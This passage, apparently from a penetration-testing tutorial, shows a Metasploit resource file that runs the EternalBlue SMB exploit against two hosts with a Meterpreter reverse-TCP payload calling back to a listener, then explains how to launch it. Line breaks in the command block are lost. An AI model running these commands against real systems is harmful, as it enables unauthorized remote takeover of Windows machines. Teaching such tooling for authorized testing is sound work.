Exploiting multiple targets using MSF resource files
MSF resource files are basically line-separated text files that include a sequence of commands that need to be executed in the msfconsole. Let us go ahead and create a resource file that can exploit the same vulnerability on multiple hosts:
use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/reverse_tcpset rhost 192.168.0.166set lhost 192.168.0.137set lport 4444exploit -juse exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/reverse_tcpset rhost 192.168.0.119set lhost 192.168.0.137set lport 4442exploit -j
Save the file as doublepulsar.rc
and now you are ready to invoke the resource file by running msfconsole -r filename.rc
, where -r
refers to the resource file. The preceding resource file will exploit the same vulnerability sequentially. Once the first exploit is complete, the specification of exploit -j
will move the running exploit to the background allowing the next exploit to proceed...